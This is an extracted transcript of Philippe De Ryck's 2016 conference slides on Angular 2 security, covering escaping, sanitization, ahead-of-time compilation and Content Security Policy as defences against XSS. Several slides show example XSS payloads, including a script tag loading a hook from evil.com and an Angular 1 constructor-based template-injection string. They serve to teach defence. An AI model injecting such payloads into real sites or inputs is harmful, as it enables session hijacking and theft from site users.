BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP...
Transcript of BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP...
![Page 1: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/1.jpg)
@PhilippeDeRyck
BOOSTING THE SECURITY OF YOURANGULAR 2APPLICATION
PhilippeDeRyck
NG-BEConference,December9th 2016
https://www.websec.be
![Page 2: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/2.jpg)
@PhilippeDeRyck
ABOUT ME – PHILIPPE DE RYCK
§Mygoalistohelpyoubuildsecurewebapplications− In-housetrainingprogramsatvariouscompanies−HostedwebsecuritytrainingcoursesatDistriNet (KULeuven)− Talksatvariousdeveloperconferences− Slides,videosandblogpostsonhttps://www.websec.be
§ Ihaveabroadsecurityexpertise,withafocusonWebSecurity−PhDinclient-sidewebsecurity−MainauthorofthePrimeronclient-sidewebsecurity
§ PartoftheorganizingcommitteeofSecAppDev.org−Week-longcoursefocusedonpracticalsecurity
2
![Page 3: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/3.jpg)
@PhilippeDeRyck
XSSIS THE GATEWAY TO TOTAL PWNAGE
http://colesec.inventedtheinternet.com/beef-the-browser-exploitation-framework-project/ 3
![Page 4: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/4.jpg)
@PhilippeDeRyck
TO TALK ABOUT THE FUTURE,WE MUST TALK ABOUT THE PAST
https://websec.be/?username=Philippe
<p>Welcome <b><?php echo $username ?></b></p>
<p>Welcome <b>Philippe</b></p>
https://websec.be/?username=<blink>ng-be</blink>
https://websec.be/?username=pwned<script src=//evil.com/hook.js></script>
<p>Welcome <b><blink>ng-be</blink></b></p>
<p>Welcome <b>pwned<script src=“//evil.com/hook.js”></script></b></p>
WelcomePhilippe
Welcome ng-be
Welcomepwned
ng-be
![Page 5: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/5.jpg)
@PhilippeDeRyck
TRADITIONAL XSSDEFENSES
<p>Welcome <b><?php echo htmlentities($username) ?></b>
</p>
<p>Welcome <b><?php echo $username ?></b>
</p>
<script>var username = “<?php echo $username ?>”;
</script><p class=“<?php echo $status ?>”>
Welcome <b style=“color: <?php echo $color?>”><?php echo $username ?></b></p>
<p>Welcome <b><blink>ng-be</blink></b>
</p>
![Page 6: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/6.jpg)
@PhilippeDeRyck
DOESN’T THIS LOOK FAMILIAR?
https://xkcd.com/327/
![Page 7: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/7.jpg)
@PhilippeDeRyck
SEPARATING DATA AND CODE WITH ANGULAR
<p>Welcome <b>{{username}}</b></p>
https://websec.be/?username=<blink>ng-be</blink>
<p>Welcome <b><blink>ng-be</blink></b></p> Welcome<blink>ng-be</blink>
https://websec.be/?username=<script>alert(‘ng-be!’</script>
<p>Welcome <b><bscript>alert(’ng-be!’)</script></b></p> Welcome<script>alert(‘ng-be!’</script>
![Page 8: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/8.jpg)
@PhilippeDeRyck
BUT ANGULAR IS FLEXIBLE,AND ESCAPING IS NOT MANDATORY
<p>Welcome <b [innerHTML]=“htmlSnippet”></b></p>
htmlSnippet=“<blink>ng-be</blink>”
<p>Welcome <b><blink>ng-be</blink></b></p>
htmlSnippet=pwned<script src=“//evil.com/hook.js”></script>
<p>Welcome <b>pwned</b></p> Welcomepwned
Welcome ng-beng-be
![Page 9: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/9.jpg)
@PhilippeDeRyck
RESPECT THE AUTHORITY OF THE SANITIZER
§ SanitizationisenabledbydefaultwhenyoubindHTMLintotheDOM− Themajorityofyouwillnotevennoticethesanitizeratwork,whichisgreat!−MakesureyoudothisviaAngular,notbydirectlycallingtheDOMAPI
§ SimilartoAngular1,functionstobypasssanitizationareavailable−Aminormodificationsaimstoraisedeveloperawarenessaboutitseffect
TrustHtml()TrustScript()TrustStyle()TrustUrl()TrustResourceUrl()
bypassSecuritybypassSecuritybypassSecuritybypassSecuritybypassSecurity
![Page 10: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/10.jpg)
@PhilippeDeRyck
DISMISS XSSLIKE A KING,GET PWNED LIKE A SKIDDIE
https://github.com/angular/angular/issues/8511
Redactedforyoursafety!
![Page 11: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/11.jpg)
@PhilippeDeRyck
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
§ Thenormalwayofbindingdataisusinginterpolation−Angularwillautomaticallyapplyescaping−Bindingdatathiswaywillneverresultintheinjectionofunsafecontent
§ YoucanalsobinddatathatcontainsHTMLcode−Angularwillautomaticallyapplysanitization− Thesanitizerremovesdangerousfeatures,butleavesotherpartsuntouched−DonotdirectlyuseDOMAPIstobindthisdata,butusebuilt-inmechanisms
§ Angularallowsyoutomarkavalueassafetouseinadangerouscontext−Onlyusethisforstaticdata,whichhasbeenverifiedtobesecure
![Page 12: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/12.jpg)
@PhilippeDeRyck
TRICKING ANGULAR INTO MISBEHAVING
<script src=“…/angular.js”></script><p>Welcome <b><?php echo htmlentities($username) ?></b></p>
https://websec.be/?username=Philippe{{constructor.constructor(‘alert(1)’)}}
<p>Welcome <b>Philippe{{constructor.constructor(‘alert(1)’)}} </b></p>
WelcomePhilippe
![Page 13: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/13.jpg)
@PhilippeDeRyck
THERE’S NO SAFE WAY TO DO THIS WITH ANGULAR 1…
http://angularjs.blogspot.be/2016/09/angular-16-expression-sandbox-removal.html
![Page 14: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/14.jpg)
@PhilippeDeRyck
BUT ANGULAR 2OFFERS AHEAD-OF-TIME COMPILATION
§ Theofflinecompilerturnstheapplicationintoexecutablecode− Thecompilerisnotevenavailableanymoreinthebrowser−Databindingsarealreadyresolved,andencodedintotheJSbundle
§ AOTcompilationeffectivelystopstemplateinjectionattacks−Atthemomentofinjection,theapplicationisalreadycompiled− Theinjectedtemplatecodewillsimplyberendered,notexecuted
var currVal_6 = __WEBPACK_IMPORTED_MODULE_2__angular_core_src_linker_view_utils__["inlineInterpolate"](1, '\n ', this.context.MyAOTBinding, '\n');
![Page 15: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/15.jpg)
@PhilippeDeRyck
TAKEAWAY #2
USE AHEAD-OF-TIME COMPILATION TO GET RID OF TEMPLATE INJECTION
§ CombiningAngularwithothertechnologiescanresultintemplateinjection−Dynamicallygeneratedserver-sidepages(PHP,JSP,…)−Client-sidelibrariesthatrunbeforeAngulardoes(Jquery,...)
§ ThisisactuallyabigprobleminAngular1.xapplications− Theexpressionsandboxtriedtofixthis,butitturnedouttobetoohardtogetright
§ AOTallowsyoutocompileyourtemplatesdirectlyintotheJSfiles−Removesclient-sideprocessingoftemplates,thusremovesinjectionattacks−Additionalincentive:AOTgivesyouamassiveperformanceimprovement
![Page 16: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/16.jpg)
@PhilippeDeRyck
BUT WHAT WILL HAPPEN WHEN AN XSSSNEAKS THROUGH?
![Page 17: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/17.jpg)
@PhilippeDeRyck
1-UPPING YOUR XSSDEFENSES WITH CSP
§ ContentSecurityPolicy(CSP)isanewbrowsersecuritypolicy−Givesadeveloperalotofcontroloverwhatisallowedtohappeninapage−Deliveredbytheserverinaresponseheaderormeta tag
<p>Welcome <b onclick=“alert(’XSS’)”><script>alert(“XSS”);</script></b></p>
<p>Welcome <b>pwned<script src=“//evil.com/hook.js”></script></b></p>
Inlinescriptsareblockedandwillnotexecute
Externalscriptsareonlyloadediftheyareexplicitlywhitelisted
Content-Security-Policy: script-src ‘self’
![Page 18: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/18.jpg)
@PhilippeDeRyck
CSPSOUNDS HARD,WILL IT WORK WITH ANGULAR?
Content-Security-Policy: script-src ‘self’
![Page 19: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/19.jpg)
@PhilippeDeRyck
WHITELISTING REMOTE SCRIPTS SEEMS EASY …
Content-Security-Policy: script-src ‘self’https://cdnjs.cloudflare.com
![Page 20: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/20.jpg)
@PhilippeDeRyck
HOST-BASED WHITELISTING IS A BAD IDEA
https://speakerdeck.com/mikispag/acm-ccs-2016-csp-is-dead-long-live-csp 20
![Page 21: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/21.jpg)
@PhilippeDeRyck
NONCES TO THE RESCUE
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’
Nonces shouldfreshandrandom
![Page 22: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/22.jpg)
@PhilippeDeRyck
NONCES WORK FOR INLINE SCRIPTS AS WELL
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’
Nonces shouldfreshandrandom
![Page 23: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/23.jpg)
@PhilippeDeRyck
BUT INCLUDING REMOTE COMPONENTS REMAINS TRICKY
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’https://platform.twitter.com/ https://cdn.syndication.twimg.comhttps://syndication.twitter.com
![Page 24: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/24.jpg)
@PhilippeDeRyck
’STRICT-DYNAMIC’ENABLES TRUST PROPAGATION
Content-Security-Policy: script-src ‘self’ ‘nonce-SuperRandom’’strict-dynamic’
![Page 25: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/25.jpg)
@PhilippeDeRyck
FROM ‘STRICT-DYNAMIC’TO A UNIVERSAL CSPPOLICY
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}'
'strict-dynamic' 'unsafe-inline' 'unsafe-eval' https: http:;
report-uri https://your-report-collector.example.com/
![Page 26: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/26.jpg)
@PhilippeDeRyck
FROM ‘STRICT-DYNAMIC’TO A UNIVERSAL CSPContent-Security-Policy:
object-src 'none'; script-src ’nonce-{random}' 'strict-dynamic' 'unsafe-inline' 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}’ 'strict-dynamic’ 'unsafe-eval'; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src ’nonce-{random}’ 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' https: http:; report-uri https://your-report-collector.example.com/
RemoteInline
RemoteInline
RemoteInline
![Page 27: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/27.jpg)
@PhilippeDeRyck
TAKEAWAY #3
CSPALLOWS YOU TO LOCK YOUR APPLICATION DOWN
§ CSPallowsyoutopreventinjectedscriptsfrombeingexecuted− IsstraightforwardtoenablewithfullURLsonself-containedapplications−Hasbecomeeasytoenableforexternalcomponentsusing‘strict-dynamic’− TheuniversalCSPpolicyiscompatiblewithallbrowsersandvirtuallyallapplications
§ CSPsreportingmodegivesyouinsightsintoviolations−Awesometodry-runapolicybeforeactuallydeployingit
§ CSPcanbeusedtorestrictothertypesofresourcesandactions−Newfeatureskeepbeingadded,makingCSPanimportantpolicytowardsthefuture
![Page 28: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/28.jpg)
@PhilippeDeRyck
TAKEAWAY #3
CSPALLOWS YOU TO LOCK YOUR APPLICATION DOWN
TAKEAWAY #2
USE AHEAD-OF-TIME COMPILATION TO GET RID OF TEMPLATE INJECTION
TAKEAWAY #1
ANGULAR ALREADY PROTECTS YOU AGAINST XSS,JUST GET OUT OF THE WAY
BOOSTING THE SECURITY OF YOUR ANGULAR 2APPLICATION
![Page 29: BOOSTING THE SECURITY OF YOUR ANGULAR 2 APPLICATION · 1-UPPING YOUR XSS DEFENSES WITH CSP §Content Security Policy (CSP) is a new browser security policy −Gives a developer a](https://reader034.fdocuments.us/reader034/viewer/2022042402/5f13a7fbcc67cc303e72c81e/html5/thumbnails/29.jpg)
@PhilippeDeRyck
NOW IT’S UP TO YOU …
Secure ShareFollow
https://www.websec.be [email protected] /in/philippederyck